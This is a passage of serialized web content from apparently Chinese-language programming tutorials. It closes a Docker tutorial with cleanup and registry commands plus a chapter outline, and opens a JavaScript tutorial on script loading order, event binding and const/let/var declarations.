--scale",[331,61409,54474],{"class":365},[331,61411,351],{"class":344},[331,61413,55305],{"class":344},[331,61415,61416],{"class":365}," debug\n",[331,61418,61419,61421,61423,61425,61427,61429,61431,61433],{"class":333,"line":397},[331,61420,36862],{"class":501},[331,61422,53321],{"class":365},[331,61424,21961],{"class":365},[331,61426,620],{"class":337},[331,61428,36862],{"class":501},[331,61430,53321],{"class":365},[331,61432,54502],{"class":365},[331,61434,61435],{"class":1003},"            # 数据保留\n",[331,61437,61438,61440,61442,61444,61446,61449],{"class":333,"line":418},[331,61439,36862],{"class":501},[331,61441,53321],{"class":365},[331,61443,54502],{"class":365},[331,61445,51745],{"class":344},[331,61447,61448],{"class":344}," --remove-orphans",[331,61450,61451],{"class":1003},"             # -v 删卷，先想清楚\n",[308,61453,61455],{"className":3902,"code":61454,"language":3904,"meta":314,"style":314},"docker system df                # 动手清理前先看这个\ndocker builder prune; docker container prune; docker image prune\ndocker system prune                        # 相对安全：只清已停止\u002F悬空\u002F未用网络\ndocker system prune -a --volumes           # 高危：删所有未引用镜像与卷\ndocker login ghcr.io -U user --password-stdin; docker logout ghcr.io\ndocker manifest inspect img:1.0.0; docker buildx inspect --bootstrap\n",[22,61456,61457,61468,61492,61503,61518,61544],{"__ignoreMap":314},[331,61458,61459,61461,61463,61465],{"class":333,"line":334},[331,61460,36862],{"class":501},[331,61462,57498],{"class":365},[331,61464,57501],{"class":365},[331,61466,61467],{"class":1003},"                # 动手清理前先看这个\n",[331,61469,61470,61472,61474,61476,61478,61480,61482,61484,61486,61488,61490],{"class":333,"line":341},[331,61471,36862],{"class":501},[331,61473,57547],{"class":365},[331,61475,49188],{"class":365},[331,61477,620],{"class":337},[331,61479,36862],{"class":501},[331,61481,49185],{"class":365},[331,61483,49188],{"class":365},[331,61485,620],{"class":337},[331,61487,36862],{"class":501},[331,61489,52670],{"class":365},[331,61491,61159],{"class":365},[331,61493,61494,61496,61498,61500],{"class":333,"line":357},[331,61495,36862],{"class":501},[331,61497,57498],{"class":365},[331,61499,49188],{"class":365},[331,61501,61502],{"class":1003},"                        # 相对安全：只清已停止\u002F悬空\u002F未用网络\n",[331,61504,61505,61507,61509,61511,61513,61515],{"class":333,"line":371},[331,61506,36862],{"class":501},[331,61508,57498],{"class":365},[331,61510,49188],{"class":365},[331,61512,57537],{"class":344},[331,61514,57576],{"class":344},[331,61516,61517],{"class":1003},"           # 高危：删所有未引用镜像与卷\n",[331,61519,61520,61522,61525,61528,61530,61532,61535,61537,61539,61541],{"class":333,"line":384},[331,61521,36862],{"class":501},[331,61523,61524],{"class":365}," login",[331,61526,61527],{"class":365}," ghcr.io",[331,61529,36947],{"class":344},[331,61531,13900],{"class":365},[331,61533,61534],{"class":344}," --password-stdin",[331,61536,620],{"class":337},[331,61538,36862],{"class":501},[331,61540,13857],{"class":365},[331,61542,61543],{"class":365}," ghcr.io\n",[331,61545,61546,61548,61550,61552,61555,61557,61559,61561,61563],{"class":333,"line":397},[331,61547,36862],{"class":501},[331,61549,48929],{"class":365},[331,61551,48875],{"class":365},[331,61553,61554],{"class":365}," img:1.0.0",[331,61556,620],{"class":337},[331,61558,36862],{"class":501},[331,61560,48850],{"class":365},[331,61562,48875],{"class":365},[331,61564,48878],{"class":344},[11,61566,61567],{},"示例 18 是全教程的收口演练：给出一批真实报错原文，每张卡片对应「先跑哪条命令、看到什么、结论是什么」，点按钮按顺序走完一次线上排障。",[4748,61569],{"height":5188,"src":61570,"title":61571},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F18-troubleshoot.html","示例 18：排障演练——从报错原文到结论",[11,61573,61574,61575,61577,61578,2012,61580,61582],{},"回望这十八章：第一到三章解释了「为什么容器能到处跑」，四到五章是造镜像的手艺，六到九章是让一个容器活着并把数据留住，十章解决镜像从哪来，十一到十三章把单容器扩展成一组服务，十四到十五章谈限制与加固，十六章把「能跑」变成「敢上生产」，十七到十八章给出更大规模的答案与出事时的路线。接下来的提升没有捷径：把 ",[22,61576,50638],{}," 这个例子自己敲一遍，然后用 ",[22,61579,46967],{},[22,61581,47134],{}," 去观察每一个决定留下的痕迹。",[595,61584,61585],{},"html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}",{"title":314,"searchDepth":341,"depth":341,"links":61587},[61588,61594,61602,61608,61618,61628,61634,61644,61652,61661,61670,61678,61687,61694,61702,61710,61719,61725],{"id":45622,"depth":341,"text":45623,"children":61589},[61590,61591,61592,61593],{"id":45648,"depth":357,"text":45649},{"id":45752,"depth":357,"text":45753},{"id":45863,"depth":357,"text":45864},{"id":46008,"depth":357,"text":46009},{"id":46139,"depth":341,"text":46140,"children":61595},[61596,61597,61598,61599,61600,61601],{"id":46143,"depth":357,"text":46144},{"id":46230,"depth":357,"text":46231},{"id":46383,"depth":357,"text":46384},{"id":46479,"depth":357,"text":46480},{"id":46551,"depth":357,"text":46552},{"id":46664,"depth":357,"text":46665},{"id":46714,"depth":341,"text":46715,"children":61603},[61604,61605,61606,61607],{"id":46725,"depth":357,"text":46726},{"id":46905,"depth":357,"text":46906},{"id":46971,"depth":357,"text":46972},{"id":47046,"depth":357,"text":47047},{"id":47219,"depth":341,"text":47220,"children":61609},[61610,61611,61612,61613,61614,61615,61616,61617],{"id":47230,"depth":357,"text":47231},{"id":47294,"depth":357,"text":47295},{"id":47425,"depth":357,"text":47426},{"id":47522,"depth":357,"text":47523},{"id":47720,"depth":357,"text":47721},{"id":47869,"depth":357,"text":47870},{"id":48064,"depth":357,"text":48065},{"id":48133,"depth":357,"text":48134},{"id":48211,"depth":341,"text":48212,"children":61619},[61620,61621,61623,61624,61625,61626,61627],{"id":48215,"depth":357,"text":48216},{"id":48411,"depth":357,"text":61622},"BuildKit 与 # syntax=",{"id":48504,"depth":357,"text":48504},{"id":48660,"depth":357,"text":48661},{"id":48714,"depth":357,"text":48715},{"id":48837,"depth":357,"text":48838},{"id":48971,"depth":357,"text":48972},{"id":49066,"depth":341,"text":49067,"children":61629},[61630,61631,61632,61633],{"id":49079,"depth":357,"text":49080},{"id":49255,"depth":357,"text":49256},{"id":49658,"depth":357,"text":49659},{"id":49916,"depth":357,"text":49916},{"id":50085,"depth":341,"text":50086,"children":61635},[61636,61638,61639,61640,61641,61642,61643],{"id":50096,"depth":357,"text":61637},"docker exec 与 -- 的坑",{"id":50228,"depth":357,"text":50229},{"id":50344,"depth":357,"text":50345},{"id":50376,"depth":357,"text":50377},{"id":50597,"depth":357,"text":50598},{"id":50693,"depth":357,"text":50694},{"id":50735,"depth":357,"text":50736},{"id":50799,"depth":341,"text":50800,"children":61645},[61646,61647,61648,61649,61650,61651],{"id":50806,"depth":357,"text":50806},{"id":50923,"depth":357,"text":50924},{"id":50978,"depth":357,"text":50979},{"id":51176,"depth":357,"text":51177},{"id":51359,"depth":357,"text":51360},{"id":51488,"depth":357,"text":51488},{"id":51590,"depth":341,"text":51591,"children":61653},[61654,61655,61657,61658,61659,61660],{"id":51594,"depth":357,"text":51595},{"id":51717,"depth":357,"text":61656},"-v 与 --mount 语法对照",{"id":51968,"depth":357,"text":51969},{"id":52035,"depth":357,"text":52036},{"id":52243,"depth":357,"text":52244},{"id":52419,"depth":357,"text":52420},{"id":52500,"depth":341,"text":52501,"children":61662},[61663,61664,61665,61666,61667,61668,61669],{"id":52504,"depth":357,"text":52504},{"id":52594,"depth":357,"text":52595},{"id":52727,"depth":357,"text":52728},{"id":52806,"depth":357,"text":52807},{"id":53004,"depth":357,"text":53004},{"id":53180,"depth":357,"text":53181},{"id":53258,"depth":357,"text":53259},{"id":53291,"depth":341,"text":53292,"children":61671},[61672,61673,61674,61675,61676,61677],{"id":53295,"depth":357,"text":53296},{"id":53342,"depth":357,"text":53343},{"id":53494,"depth":357,"text":53495},{"id":53765,"depth":357,"text":53765},{"id":54233,"depth":357,"text":54234},{"id":54335,"depth":357,"text":54336},{"id":54621,"depth":341,"text":54622,"children":61679},[61680,61681,61682,61683,61684,61685,61686],{"id":54625,"depth":357,"text":54626},{"id":54817,"depth":357,"text":54818},{"id":55008,"depth":357,"text":55009},{"id":55217,"depth":357,"text":55218},{"id":55341,"depth":357,"text":55341},{"id":55453,"depth":357,"text":55453},{"id":55637,"depth":357,"text":55637},{"id":56442,"depth":341,"text":56443,"children":61688},[61689,61690,61691,61692,61693],{"id":56446,"depth":357,"text":56446},{"id":56611,"depth":357,"text":56612},{"id":56717,"depth":357,"text":56718},{"id":56818,"depth":357,"text":56819},{"id":56886,"depth":357,"text":56887},{"id":56947,"depth":341,"text":56948,"children":61695},[61696,61698,61699,61700,61701],{"id":56951,"depth":357,"text":61697},"内存：--memory 与 --memory-swap 的语义陷阱",{"id":57070,"depth":357,"text":57071},{"id":57205,"depth":357,"text":57206},{"id":57319,"depth":357,"text":57320},{"id":57485,"depth":357,"text":57486},{"id":57689,"depth":341,"text":57690,"children":61703},[61704,61705,61706,61707,61708,61709],{"id":57693,"depth":357,"text":57694},{"id":57714,"depth":357,"text":57715},{"id":57809,"depth":357,"text":57809},{"id":57968,"depth":357,"text":57968},{"id":58022,"depth":357,"text":58022},{"id":58203,"depth":357,"text":58204},{"id":58319,"depth":341,"text":58320,"children":61711},[61712,61714,61715,61716,61717,61718],{"id":58323,"depth":357,"text":61713},"--restart 四种策略怎么选",{"id":58443,"depth":357,"text":58444},{"id":58541,"depth":357,"text":58542},{"id":58708,"depth":357,"text":58709},{"id":58832,"depth":357,"text":58833},{"id":58989,"depth":357,"text":58989},{"id":59180,"depth":341,"text":59181,"children":61720},[61721,61722,61723,61724],{"id":59184,"depth":357,"text":59185},{"id":59295,"depth":357,"text":59296},{"id":59671,"depth":357,"text":59672},{"id":59924,"depth":357,"text":59924},{"id":59941,"depth":341,"text":59942,"children":61726},[61727,61728,61729],{"id":59945,"depth":357,"text":59946},{"id":60347,"depth":357,"text":60348},{"id":60648,"depth":357,"text":60649},"\u002Fimg\u002Fdocker-cover.svg","2026-10-04","从容器原理到生产部署：镜像分层与 Dockerfile、网络与数据卷、Compose、资源限制、安全与编排，18 章循序渐进，配模拟终端的可交互示例。",{},"\u002Ftutorials\u002Fdocker",{"title":45617,"description":61732},{"loc":61734},"tutorials\u002Fdocker","gbyOgVodsvJ8PBLqGkkM9haZ1qJS82E13nLwjIMgOKo",{"id":61740,"title":61741,"body":61742,"category":944,"cover":74415,"date":61731,"description":74416,"extension":4549,"meta":74417,"navigation":997,"path":74418,"seo":74419,"sitemap":74420,"stem":74421,"__hash__":74422},"tutorials\u002Ftutorials\u002Fjs.md","JavaScript 教程：从变量到异步实战",{"type":8,"value":61743,"toc":74257},[61744,61748,61751,61758,61764,61917,62015,62035,62039,62051,62055,62058,62193,62209,62213,62250,62254,62272,62275,62374,62461,62465,62489,62493,62500,62568,62588,62592,62596,62601,62700,62711,62714,62717,62796,62800,62810,62814,62837,62999,63003,63007,63155,63171,63174,63275,63278,63281,63289,63322,63347,63351,63354,63364,63427,63451,63455,63466,63523,63550,63578,63586,63626,63630,63646,63649,63677,63697,63701,63705,63714,63796,63806,63813,63838,63842,63845,63952,63974,64043,64051,64067,64209,64226,64230,64239,64243,64369,64384,64388,64392,64477,64489,64521,64525,64546,64607,64623,64626,64629,64725,64744,64748,64758,64840,64867,64871,64878,64882,64983,65003,65007,65106,65122,65125,65161,65165,65169,65177,65291,65311,65314,65321,65325,65338,65342,65461,65472,65475,65668,65672,65675,65702,65726,65730,65748,65751,65890,65902,65906,66014,66093,66097,66120,66193,66196,66284,66311,66315,66318,66369,66373,66384,66628,66631,66693,66720,66723,66871,66875,66888,66894,67047,67071,67074,67083,67087,67102,67106,67273,67276,67375,67386,67389,67481,67495,67498,67501,67608,67611,67661,67665,67669,67682,67760,67777,67781,67795,67799,67931,67950,67954,68043,68057,68061,68131,68142,68149,68155,68248,68253,68257,68342,68360,68364,68537,68550,68554,68571,68577,68581,68585,68588,68592,68656,68669,68673,68734,68747,68751,68883,68890,68893,68919,68922,69079,69085,69089,69122,69126,69130,69133,69137,69191,69211,69214,69254,69258,69315,69321,69325,69364,69373,69377,69428,69450,69454,69458,69464,69468,69551,69572,69576,69606,69617,69621,69714,69724,69728,69851,69865,69869,69882,69886,69890,69896,69900,69998,70004,70008,70061,70068,70072,70078,70190,70205,70209,70212,70260,70277,70280,70392,70395,70399,70403,70406,70410,70492,70530,70544,70547,70551,70643,70651,70655,70827,70844,70847,70865,70869,70873,70876,70880,70883,70894,70992,70996,71011,71014,71066,71070,71076,71143,71150,71239,71243,71258,71315,71318,71322,71389,71396,71400,71403,71486,71492,71495,71574,71578,71584,71768,71778,71782,71788,71851,71858,71865,71868,71872,71876,71883,71887,71902,71996,72003,72081,72085,72088,72164,72167,72171,72178,72398,72401,72435,72439,72447,72532,72543,72547,72550,72679,72688,72692,72695,72770,72773,72778,72782,72785,72789,72802,72850,72855,72859,72876,72891,72894,73012,73037,73041,73053,73120,73123,73171,73174,73224,73227,73241,73244,73248,73252,73259,73263,73266,73296,73326,73332,73336,73396,73506,73509,73528,73531,73535,73541,73552,73555,73559,73596,73600,73635,73639,73654,73659,73663,73670,73674,73681,73685,73688,73770,73777,73781,73785,73789,73792,74000,74003,74175,74178,74181,74184,74191,74194,74201,74245,74248,74251,74254],[48,61745,61747],{"id":61746},"一javascript-是什么脚本的执行时机与绑定方式","一、JavaScript 是什么：脚本的执行时机与绑定方式",[11,61749,61750],{},"HTML 决定「这是什么内容」，CSS 决定「它怎么呈现」，JavaScript 决定「它怎么响应」。前两者是声明式的描述，JS 则是真正的编程语言：变量、分支、循环、函数，还自带操作页面本身的能力。它在浏览器里由 JS 引擎（V8、SpiderMonkey 等）逐行执行；同一门语言搬到服务器就是 Node.js——本教程聚焦浏览器这一侧。",[11,61752,61753,61754,61757],{},"学 JS 之前先建立一条直觉：",[17,61755,61756],{},"页面在浏览器里是「边解析边执行」的","。HTML 教程第一章讲过解析过程，其中顺序地读标签这一点，直接决定了脚本的行为。",[53,61759,61761,61763],{"id":61760},"script-放哪里四种写法与各自的执行时机",[22,61762,14082],{}," 放哪里：四种写法与各自的执行时机",[308,61765,61767],{"className":485,"code":61766,"language":487,"meta":314,"style":314},"\u003C!-- ① 放在 head 里：先下载执行，再解析后面的 HTML -->\n\u003Chead>\u003Cscript src=\"\u002Fjs\u002Fapp.js\">\u003C\u002Fscript>\u003C\u002Fhead>\n\n\u003C!-- ② 放在 \u003C\u002Fbody> 之前：前面的 DOM 已经解析完 -->\n\u003Cbody>…\u003Cscript src=\"\u002Fjs\u002Fapp.js\">\u003C\u002Fscript>\u003C\u002Fbody>\n\n\u003C!-- ③ head 里加 defer：并行下载，解析完再按顺序执行 -->\n\u003Chead>\u003Cscript src=\"\u002Fjs\u002Fapp.js\" defer>\u003C\u002Fscript>\u003C\u002Fhead>\n\n\u003C!-- ④ type=\"module\"：文件成为模块，自带 defer 行为与独立作用域 -->\n\u003Chead>\u003Cscript src=\"\u002Fjs\u002Fapp.js\" type=\"module\">\u003C\u002Fscript>\u003C\u002Fhead>\n",[22,61768,61769,61774,61801,61805,61810,61837,61841,61846,61875,61879,61884],{"__ignoreMap":314},[331,61770,61771],{"class":333,"line":334},[331,61772,61773],{"class":1003},"\u003C!-- ① 放在 head 里：先下载执行，再解析后面的 HTML -->\n",[331,61775,61776,61778,61780,61782,61784,61786,61788,61791,61793,61795,61797,61799],{"class":333,"line":341},[331,61777,510],{"class":337},[331,61779,530],{"class":497},[331,61781,7082],{"class":337},[331,61783,891],{"class":497},[331,61785,894],{"class":501},[331,61787,518],{"class":337},[331,61789,61790],{"class":365},"\"\u002Fjs\u002Fapp.js\"",[331,61792,902],{"class":337},[331,61794,891],{"class":497},[331,61796,902],{"class":337},[331,61798,530],{"class":497},[331,61800,505],{"class":337},[331,61802,61803],{"class":333,"line":357},[331,61804,998],{"emptyLinePlaceholder":997},[331,61806,61807],{"class":333,"line":371},[331,61808,61809],{"class":1003},"\u003C!-- ② 放在 \u003C\u002Fbody> 之前：前面的 DOM 已经解析完 -->\n",[331,61811,61812,61814,61816,61819,61821,61823,61825,61827,61829,61831,61833,61835],{"class":333,"line":384},[331,61813,510],{"class":337},[331,61815,800],{"class":497},[331,61817,61818],{"class":337},">…\u003C",[331,61820,891],{"class":497},[331,61822,894],{"class":501},[331,61824,518],{"class":337},[331,61826,61790],{"class":365},[331,61828,902],{"class":337},[331,61830,891],{"class":497},[331,61832,902],{"class":337},[331,61834,800],{"class":497},[331,61836,505],{"class":337},[331,61838,61839],{"class":333,"line":397},[331,61840,998],{"emptyLinePlaceholder":997},[331,61842,61843],{"class":333,"line":418},[331,61844,61845],{"class":1003},"\u003C!-- ③ head 里加 defer：并行下载，解析完再按顺序执行 -->\n",[331,61847,61848,61850,61852,61854,61856,61858,61860,61862,61865,61867,61869,61871,61873],{"class":333,"line":427},[331,61849,510],{"class":337},[331,61851,530],{"class":497},[331,61853,7082],{"class":337},[331,61855,891],{"class":497},[331,61857,894],{"class":501},[331,61859,518],{"class":337},[331,61861,61790],{"class":365},[331,61863,61864],{"class":501}," defer",[331,61866,902],{"class":337},[331,61868,891],{"class":497},[331,61870,902],{"class":337},[331,61872,530],{"class":497},[331,61874,505],{"class":337},[331,61876,61877],{"class":333,"line":439},[331,61878,998],{"emptyLinePlaceholder":997},[331,61880,61881],{"class":333,"line":450},[331,61882,61883],{"class":1003},"\u003C!-- ④ type=\"module\"：文件成为模块，自带 defer 行为与独立作用域 -->\n",[331,61885,61886,61888,61890,61892,61894,61896,61898,61900,61902,61904,61907,61909,61911,61913,61915],{"class":333,"line":456},[331,61887,510],{"class":337},[331,61889,530],{"class":497},[331,61891,7082],{"class":337},[331,61893,891],{"class":497},[331,61895,894],{"class":501},[331,61897,518],{"class":337},[331,61899,61790],{"class":365},[331,61901,835],{"class":501},[331,61903,518],{"class":337},[331,61905,61906],{"class":365},"\"module\"",[331,61908,902],{"class":337},[331,61910,891],{"class":497},[331,61912,902],{"class":337},[331,61914,530],{"class":497},[331,61916,505],{"class":337},[57,61918,61919,61934],{},[60,61920,61921],{},[63,61922,61923,61925,61928,61931],{},[66,61924,19254],{},[66,61926,61927],{},"阻塞解析吗",[66,61929,61930],{},"何时执行",[66,61932,61933],{},"顺序保证",[79,61935,61936,61952,61968,61985,61999],{},[63,61937,61938,61941,61946,61949],{},[84,61939,61940],{},"普通脚本（默认）",[84,61942,61943,61945],{},[17,61944,60432],{},"，下载并执行完才继续解析",[84,61947,61948],{},"下载完立即执行",[84,61950,61951],{},"按出现顺序，但都在解析中",[63,61953,61954,61959,61962,61965],{},[84,61955,61956,61958],{},[22,61957,18334],{}," 之前",[84,61960,61961],{},"前面的内容已解析完，无所谓",[84,61963,61964],{},"立即执行",[84,61966,61967],{},"按出现顺序",[63,61969,61970,61974,61977,61980],{},[84,61971,61972],{},[22,61973,16189],{},[84,61975,61976],{},"否，并行下载",[84,61978,61979],{},"整个文档解析完成后",[84,61981,61982],{},[17,61983,61984],{},"严格按出现顺序",[63,61986,61987,61991,61993,61996],{},[84,61988,61989],{},[22,61990,1063],{},[84,61992,60399],{},[84,61994,61995],{},"下载完立即执行（可能打断解析）",[84,61997,61998],{},"不保证，谁先下完谁先跑",[63,62000,62001,62006,62008,62012],{},[84,62002,62003],{},[22,62004,62005],{},"type=\"module\"",[84,62007,60399],{},[84,62009,39187,62010],{},[22,62011,16189],{},[84,62013,62014],{},"按出现顺序（第二十章展开）",[11,62016,62017,62018,62021,62022,62024,62025,62028,62029,62031,62032,161],{},"关键结论只有一条：",[17,62019,62020],{},"脚本执行时，只有它前面已经解析过的 HTML 才能被拿到","。写在 ",[22,62023,530],{}," 里的普通脚本去操作 ",[22,62026,62027],{},"#late"," 必然拿到 ",[22,62030,5858],{},"，然后报出新手遇到的第一个错误 ",[22,62033,62034],{},"Cannot read properties of null",[4748,62036],{"height":50077,"src":62037,"title":62038},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F01-first-script.html","示例 01：脚本的执行时机与绑定方式",[11,62040,62041,62043,62044,62047,62048,62050],{},[22,62042,16189],{}," 还藏着一个细节：脚本在 ",[17,62045,62046],{},"DOMContentLoaded 之前","执行，而 DOMContentLoaded 与 window 的 ",[22,62049,13916],{}," 事件是两回事——前者在 DOM 树就绪时触发，后者要等图片、样式等全部资源加载完。想「DOM 一好就干活」，监听 DOMContentLoaded 或直接用 defer 即可，别用 load。",[53,62052,62054],{"id":62053},"事件绑定addeventlistener-与-onclick-的差别","事件绑定：addEventListener 与 onclick 的差别",[11,62056,62057],{},"给元素挂行为有两种常见写法，差别值得先知道：",[308,62059,62061],{"className":942,"code":62060,"language":944,"meta":314,"style":314},"const btn = document.querySelector('#btn')\n\nbtn.onclick = () => console.log('第一个')\nbtn.onclick = () => console.log('第二个')   \u002F\u002F 覆盖了上一个！最终只有这条生效\n\nbtn.addEventListener('click', () => console.log('第一个'))\nbtn.addEventListener('click', () => console.log('第二个'))   \u002F\u002F 两个都会执行\n",[22,62062,62063,62083,62087,62111,62138,62142,62166],{"__ignoreMap":314},[331,62064,62065,62067,62070,62072,62074,62076,62078,62081],{"class":333,"line":334},[331,62066,951],{"class":616},[331,62068,62069],{"class":344}," btn",[331,62071,957],{"class":616},[331,62073,960],{"class":337},[331,62075,963],{"class":501},[331,62077,966],{"class":337},[331,62079,62080],{"class":365},"'#btn'",[331,62082,972],{"class":337},[331,62084,62085],{"class":333,"line":341},[331,62086,998],{"emptyLinePlaceholder":997},[331,62088,62089,62092,62094,62096,62098,62100,62102,62104,62106,62109],{"class":333,"line":357},[331,62090,62091],{"class":337},"btn.",[331,62093,3733],{"class":501},[331,62095,957],{"class":616},[331,62097,7268],{"class":337},[331,62099,1489],{"class":616},[331,62101,18119],{"class":337},[331,62103,3533],{"class":501},[331,62105,966],{"class":337},[331,62107,62108],{"class":365},"'第一个'",[331,62110,972],{"class":337},[331,62112,62113,62115,62117,62119,62121,62123,62125,62127,62129,62132,62135],{"class":333,"line":371},[331,62114,62091],{"class":337},[331,62116,3733],{"class":501},[331,62118,957],{"class":616},[331,62120,7268],{"class":337},[331,62122,1489],{"class":616},[331,62124,18119],{"class":337},[331,62126,3533],{"class":501},[331,62128,966],{"class":337},[331,62130,62131],{"class":365},"'第二个'",[331,62133,62134],{"class":337},")   ",[331,62136,62137],{"class":1003},"\u002F\u002F 覆盖了上一个！最终只有这条生效\n",[331,62139,62140],{"class":333,"line":384},[331,62141,998],{"emptyLinePlaceholder":997},[331,62143,62144,62146,62148,62150,62152,62154,62156,62158,62160,62162,62164],{"class":333,"line":397},[331,62145,62091],{"class":337},[331,62147,1399],{"class":501},[331,62149,966],{"class":337},[331,62151,1404],{"class":365},[331,62153,8322],{"class":337},[331,62155,1489],{"class":616},[331,62157,18119],{"class":337},[331,62159,3533],{"class":501},[331,62161,966],{"class":337},[331,62163,62108],{"class":365},[331,62165,8335],{"class":337},[331,62167,62168,62170,62172,62174,62176,62178,62180,62182,62184,62186,62188,62190],{"class":333,"line":418},[331,62169,62091],{"class":337},[331,62171,1399],{"class":501},[331,62173,966],{"class":337},[331,62175,1404],{"class":365},[331,62177,8322],{"class":337},[331,62179,1489],{"class":616},[331,62181,18119],{"class":337},[331,62183,3533],{"class":501},[331,62185,966],{"class":337},[331,62187,62131],{"class":365},[331,62189,8358],{"class":337},[331,62191,62192],{"class":1003},"\u002F\u002F 两个都会执行\n",[11,62194,62195,62197,62198,62200,62201,62204,62205,62208],{},[22,62196,3733],{}," 是「属性赋值」，同名的只能存一个；",[22,62199,1399],{}," 是「列表登记」，可以叠多个、还能按需移除（",[22,62202,62203],{},"removeEventListener","，要求传同一函数引用）。还有第三种——HTML 属性内联 ",[22,62206,62207],{},"onclick=\"…\"","——把结构、行为写在一起，属于早期教程的写法，新代码不要再用了。事件的完整机制（冒泡、捕获、委托）在第十五章。",[53,62210,62212],{"id":62211},"表达式语句与分号","表达式、语句与分号",[11,62214,62215,62216,62218,62219,272,62222,62225,62226,62229,62230,272,62233,272,62236,62238,62239,62242,62243,62246,62247,62249],{},"JS 里有两类语法单位：",[17,62217,18911],{},"产生一个值（",[22,62220,62221],{},"1 + 2",[22,62223,62224],{},"user.name","、函数调用），",[17,62227,62228],{},"语句","是一个动作（",[22,62231,62232],{},"const x = 1",[22,62234,62235],{},"if (…) {…}",[22,62237,10859],{},"）。分号在多数情况可以省略（自动分号插入，ASI），但 ASI 的规则不直观，有两条实践建议：",[17,62240,62241],{},"团队内统一风格","（本站统一不写行尾分号），以及",[17,62244,62245],{},"不要依赖 ASI 救场","——像 ",[22,62248,10859],{}," 后换行这类位置，ASI 的插入点常常和你的意图相反。",[48,62251,62253],{"id":62252},"二变量与声明const-优先let-备用","二、变量与声明：const 优先，let 备用",[11,62255,62256,62257,62268,62269,62271],{},"现代 JS 的选型建议只有一句：",[17,62258,62259,62260,62262,62263,18878,62265,62267],{},"默认用 ",[22,62261,951],{},"，确实需要重新赋值时才把它改成 ",[22,62264,18926],{},[22,62266,18923],{}," 基本不再使用","。这不是审美偏好，",[22,62270,18923],{}," 有几条历史遗留规则会持续制造 bug，下面逐个看。",[53,62273,62274],{"id":62274},"三兄弟对比",[57,62276,62277,62296],{},[60,62278,62279],{},[63,62280,62281,62283,62287,62291],{},[66,62282,36604],{},[66,62284,62285],{},[22,62286,951],{},[66,62288,62289],{},[22,62290,18926],{},[66,62292,62293,62295],{},[22,62294,18923],{},"（老）",[79,62297,62298,62316,62329,62344,62359],{},[63,62299,62300,62303,62309,62313],{},[84,62301,62302],{},"作用域",[84,62304,62305,62306],{},"块级 ",[22,62307,62308],{},"{}",[84,62310,62305,62311],{},[22,62312,62308],{},[84,62314,62315],{},"函数级",[63,62317,62318,62321,62324,62327],{},[84,62319,62320],{},"重新赋值",[84,62322,62323],{},"禁止（对绑定而言）",[84,62325,62326],{},"允许",[84,62328,62326],{},[63,62330,62331,62334,62337,62339],{},[84,62332,62333],{},"重复声明",[84,62335,62336],{},"报错",[84,62338,62336],{},[84,62340,62341],{},[17,62342,62343],{},"静默覆盖",[63,62345,62346,62349,62352,62354],{},[84,62347,62348],{},"声明前访问",[84,62350,62351],{},"报错（TDZ）",[84,62353,62351],{},[84,62355,62356,62357],{},"得到 ",[22,62358,5872],{},[63,62360,62361,62364,62367,62369],{},[84,62362,62363],{},"提升",[84,62365,62366],{},"有，但在 TDZ 中",[84,62368,62366],{},[84,62370,62371,62372],{},"提升且初始化为 ",[22,62373,5872],{},[308,62375,62377],{"className":942,"code":62376,"language":944,"meta":314,"style":314},"const PI = 3.14\nlet count = 0\ncount = count + 1        \u002F\u002F ✓ let 可以重新赋值\n\nconst user = { name: '阿蓝' }\nuser.name = '小青'        \u002F\u002F ✓ 合法！改的是对象的属性\nuser = {}                \u002F\u002F ✗ TypeError：向常量赋值（改的是绑定本身）\n",[22,62378,62379,62391,62403,62418,62422,62436,62448],{"__ignoreMap":314},[331,62380,62381,62383,62386,62388],{"class":333,"line":334},[331,62382,951],{"class":616},[331,62384,62385],{"class":344}," PI",[331,62387,957],{"class":616},[331,62389,62390],{"class":344}," 3.14\n",[331,62392,62393,62395,62398,62400],{"class":333,"line":341},[331,62394,18926],{"class":616},[331,62396,62397],{"class":337}," count ",[331,62399,518],{"class":616},[331,62401,62402],{"class":344}," 0\n",[331,62404,62405,62407,62409,62411,62413,62415],{"class":333,"line":357},[331,62406,25644],{"class":337},[331,62408,518],{"class":616},[331,62410,62397],{"class":337},[331,62412,12714],{"class":616},[331,62414,30777],{"class":344},[331,62416,62417],{"class":1003},"        \u002F\u002F ✓ let 可以重新赋值\n",[331,62419,62420],{"class":333,"line":371},[331,62421,998],{"emptyLinePlaceholder":997},[331,62423,62424,62426,62428,62430,62432,62434],{"class":333,"line":384},[331,62425,951],{"class":616},[331,62427,13900],{"class":344},[331,62429,957],{"class":616},[331,62431,32312],{"class":337},[331,62433,20599],{"class":365},[331,62435,9413],{"class":337},[331,62437,62438,62441,62443,62445],{"class":333,"line":397},[331,62439,62440],{"class":337},"user.name ",[331,62442,518],{"class":616},[331,62444,20799],{"class":365},[331,62446,62447],{"class":1003},"        \u002F\u002F ✓ 合法！改的是对象的属性\n",[331,62449,62450,62453,62455,62458],{"class":333,"line":418},[331,62451,62452],{"class":337},"user ",[331,62454,518],{"class":616},[331,62456,62457],{"class":337}," {}                ",[331,62459,62460],{"class":1003},"\u002F\u002F ✗ TypeError：向常量赋值（改的是绑定本身）\n",[53,62462,62464],{"id":62463},"const-锁定的是绑定不是值","const 锁定的是「绑定」，不是值",[11,62466,62467,62468,62470,62471,62474,62475,62477,62478,62480,62481,62484,62485,62488],{},"这是 ",[22,62469,951],{}," 最容易被误解的一点：它保证",[17,62472,62473],{},"变量永远指向同一个值","，但完全不关心这个值内部能不能变。所以 ",[22,62476,951],{}," 声明对象后照样能改属性、",[22,62479,20810],{}," 数组。真想要「整个对象冻住」，用 